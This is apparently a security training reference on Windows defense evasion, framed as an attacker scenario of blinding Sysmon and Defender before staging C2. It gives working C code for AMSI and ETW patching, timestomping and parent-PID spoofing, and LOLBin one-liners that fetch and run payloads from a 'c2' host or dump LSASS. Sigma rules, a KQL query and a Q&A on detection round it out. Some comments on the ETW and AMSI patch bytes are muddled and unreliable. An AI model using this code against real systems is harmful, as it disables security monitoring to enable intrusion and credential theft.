Defense Evasion Techniques
Defense evasion covers techniques that reduce the fidelity of telemetry available to defenders. The key categories are: indicator manipulation (timestomping, log clearing), telemetry disruption (ETW/AMSI patching, event log modification), living-off-the-land (using signed OS binaries to avoid binary alerting), and behavioral obfuscation (parent spoofing, command-line obfuscation). Each technique has a counter-telemetry gap that detection engineers close with complementary data sources.
You have execution on a target with Sysmon and Defender for Endpoint deployed. Before staging your C2, you need to: disable ETW session for the Microsoft-Windows-Threat-Intelligence provider (which logs process injection), patch AMSI in the current PowerShell session, masquerade your process tree to look like it was spawned by Explorer, and clean event logs without generating a detectable 1102 event.
Timestomping
// Timestomping: modify NTFS $STANDARD_INFORMATION timestamps to hide file creation time.
// Windows timestamps: MACE (Modified, Accessed, Changed/MFT-changed, Entry-created)
// Note: $STANDARD_INFORMATION and $FILE_NAME both store timestamps.
// SetFileTime() only modifies $STANDARD_INFORMATION.
// $FILE_NAME timestamp is only updated by the NTFS driver during rename/move.
// Forensic tools (Autopsy, FTK) compare $STANDARD_INFORMATION vs $FILE_NAME:
// mismatch = timestomping indicator.
BOOL TimestompFile(LPCWSTR path, FILETIME* newTime) {
HANDLE hFile = CreateFileW(path, FILE_WRITE_ATTRIBUTES,
FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return FALSE;
BOOL ok = SetFileTime(hFile, newTime, newTime, newTime);
CloseHandle(hFile); return ok;
}
// Set timestamp to match nearby system file (e.g., match notepad.exe creation time):
VOID TimestompToMatch(LPCWSTR targetPath, LPCWSTR referencePath) {
HANDLE hRef = CreateFileW(referencePath, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
FILETIME created, accessed, written;
GetFileTime(hRef, &created, &accessed, &written); CloseHandle(hRef);
TimestompFile(targetPath, &created);
}
// Detection: compare $SI vs $FN timestamps. USN journal records true change time.
// If file in USN journal has a recent "file create" record but $SI.created is old → stomp.
ETW and AMSI Patching
// ETW patch: NtTraceEvent → patch EtwpEventWriteFull to return early
// Patches syscall stub in ntdll so that ETW events from this process are silenced.
// Microsoft-Windows-Threat-Intelligence provider uses ETWTI kernel callback —
// patching userland EtwpEventWriteFull silences userland ETW events, NOT kernel ETW.
// Locate EtwEventWrite in ntdll and patch the first byte with 0xC3 (RET):
BOOL PatchEtw() {
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
LPVOID fnAddr = (LPVOID)GetProcAddress(hNtdll, "EtwEventWrite");
DWORD oldProt;
VirtualProtect(fnAddr, 1, PAGE_EXECUTE_READWRITE, &oldProt);
*(BYTE*)fnAddr = 0xC3; // RET — all ETW writes from this process return immediately
VirtualProtect(fnAddr, 1, oldProt, &oldProt);
return TRUE;
}
// AMSI patch: AmsiScanBuffer in amsi.dll → patch to return AMSI_RESULT_CLEAN=1
// Classic patch: replace first 3 bytes with 0xB8 0x57 0x00 (mov eax, 0x57; ret is HRESULT 0x80070057=invalid arg)
// More reliable: B8 01 00 00 00 C3 → mov eax, 1 (AMSI_RESULT_CLEAN); ret
BOOL PatchAmsi() {
HMODULE hAmsi = LoadLibraryW(L"amsi.dll");
LPVOID fn = GetProcAddress(hAmsi, "AmsiScanBuffer");
DWORD oldProt;
VirtualProtect(fn, 6, PAGE_EXECUTE_READWRITE, &oldProt);
BYTE patch[] = {0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3}; // mov eax, 1; ret
memcpy(fn, patch, sizeof(patch));
VirtualProtect(fn, 6, oldProt, &oldProt);
return TRUE;
}
LOLBins — Living Off the Land
| Binary | LOLBin technique | Purpose | Allowlisted by default |
|---|---|---|---|
| certutil.exe | certutil -urlcache -split -f URL outfile | Download file | Often |
| mshta.exe | mshta http://c2/payload.hta | Execute HTA/script | Sometimes |
| regsvr32.exe | regsvr32 /s /n /u /i:URL scrobj.dll (Squiblydoo) | Execute COM script from URL; bypasses AppLocker | Commonly |
| rundll32.exe | rundll32 comsvcs.dll,MiniDump PID file full | LSASS dump via LOLbin | Yes |
| wmic.exe | wmic process call create "cmd /c ..." | Process creation via WMI | Often |
| bitsadmin.exe | bitsadmin /transfer j /download URL outfile | Download file via BITS | Yes |
| msiexec.exe | msiexec /q /i http://c2/payload.msi | Execute MSI from URL | Yes |
| odbcconf.exe | odbcconf /a {REGSVR shellcode.dll} | DLL execute without regsvr32 | Often |
Parent Process Spoofing
// Parent PID spoofing: CreateProcess with explicit PARENT_PROCESS attribute
// Makes spawned process appear to come from explorer.exe or svchost.exe
// Defeats parent-child relationship rules (e.g., "powershell spawned by Word")
// Does NOT change the creator PID or actual security token — only the PPID in the PEB/EPROCESS
BOOL SpawnWithFakeParent(LPCWSTR command, DWORD fakePPid) {
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, fakePPid);
if (!hParent) return FALSE;
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
LPPROC_THREAD_ATTRIBUTE_LIST attrList =
(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(attrList, 1, 0, &attrSize);
UpdateProcThreadAttribute(attrList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(hParent), NULL, NULL);
STARTUPINFOEXW si = {0};
si.StartupInfo.cb = sizeof(si);
si.lpAttributeList = attrList;
PROCESS_INFORMATION pi = {0};
BOOL ok = CreateProcessW(NULL, (LPWSTR)command, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
DeleteProcThreadAttributeList(attrList);
HeapFree(GetProcessHeap(), 0, attrList);
CloseHandle(hParent);
if (ok) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
return ok;
}
Event Log Tampering
// Method 1: wevtutil (LOLbin) — clears a log, generates 1102 (Security) or 104 (System)
// wevtutil cl Security → EID 1102 in Security log (audit log cleared)
// wevtutil cl System → EID 104 in System log
// Method 2: Danderspritz-style — remove individual records from log without triggering 1102
// Open raw event log file (.evtx), parse record headers, zero out target records.
// Still: Sysmon and ETW-based agents may have already shipped the events to SIEM.
//
// EVTX record format:
// Magic: 0x2a2a0000 → record header
// Record ID: increments per entry
// Zeroing a record body → makes viewer show corrupted entry → not the same as clean delete
// Detection: gap in record IDs = records deleted (each record has sequential ID; gap = deletion)
// Method 3: Stop EventLog service — prevents new events; existing events still on disk
// sc stop EventLog → high-fidelity alert: EventLog stopping is near-never legitimate
// Method 4: Set DACL on log file to deny read/write — buys short window
// Method 5: Suspend Sysmon via process suspension (kernel/driver required)
// → Sysmon events buffered in ETW session → not written while suspended
BOOL ClearEventLog(LPCWSTR logName) {
HANDLE hLog = OpenEventLogW(NULL, logName);
if (!hLog) return FALSE;
BOOL ok = ClearEventLogW(hLog, NULL); // generates EID 1102
CloseEventLog(hLog); return ok;
}
Detection Engineering
title: AMSI or ETW Patch — Memory Write to Security DLL
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 10
TargetImage|endswith:
- '\amsi.dll'
GrantedAccess: '0x1438' # WRITE + READ required for patch
condition: selection
level: critical
tags: [attack.defense_evasion, T1562.001]
title: Event Log Cleared
logsource:
product: windows
service: security
detection:
selection:
EventID: 1102
condition: selection
level: high
tags: [attack.defense_evasion, T1070.001]
title: LOLBin Download Cradle — certutil or bitsadmin fetching URL
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith:
- '\certutil.exe'
- '\bitsadmin.exe'
CommandLine|contains:
- 'http'
- 'urlcache'
- 'transfer'
condition: selection
level: medium
tags: [attack.defense_evasion, T1218]
-- MDE KQL: parent PID spoofing — process whose parent image doesn't match Sysmon PPID
DeviceProcessEvents
| where InitiatingProcessFileName =~ "explorer.exe"
| where FileName in~ ("powershell.exe","cmd.exe","mshta.exe","wscript.exe")
| where InitiatingProcessCommandLine !has "explorer" // explorer doesn't normally CLI-spawn these
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessId
Q&A
Patching AMSI in-process defeats static scanning of in-memory scripts. Why doesn't it defeat Defender's behavioral engine, and what telemetry source does the behavioral engine use that bypasses the AMSI patch?
AMSI (Antimalware Scan Interface) is a content-scanning interface: it passes a buffer of script content to the registered antimalware provider for evaluation before execution. Patching AmsiScanBuffer to return AMSI_RESULT_CLEAN prevents the content from ever reaching Defender's signature engine. Scripts that would normally be flagged by AMSI signatures (e.g., Mimikatz keyword strings in a PowerShell script) execute without generating an AMSI detection event.
The behavioral engine uses a separate telemetry pipeline: Event Tracing for Windows (ETW) and the Windows kernel's ETW Threat Intelligence provider (Microsoft-Windows-Threat-Intelligence). This kernel ETW provider fires callbacks for process injection events, suspicious memory operations, and execution of code from non-backed memory regions — directly from kernel callbacks attached to kernel APIs like NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx. These callbacks run in kernel mode and are entirely independent of the AMSI call path in amsi.dll. Patching AmsiScanBuffer in userland does not affect kernel ETW providers.
Additionally, MDE's sensor captures process creation arguments (via kernel callbacks), network connections, file system operations, and registry changes — none of which touch AMSI. A PowerShell download cradle that bypasses AMSI still generates a network connection event (EID 3 or MDE UrlDownload events), a file write if the payload is saved, and potentially an injection event if the payload performs process injection after execution. The AMSI patch only closes one detection pathway (signature-based content scanning); it does not close behavioral or network-based detection. Detection engineers layer both AMSI-based rules and behavioral telemetry rules so that an AMSI patch generates a gap in AMSI detections that is itself detectable: a PowerShell host that never generates an AMSI event for an hour of script execution is anomalous.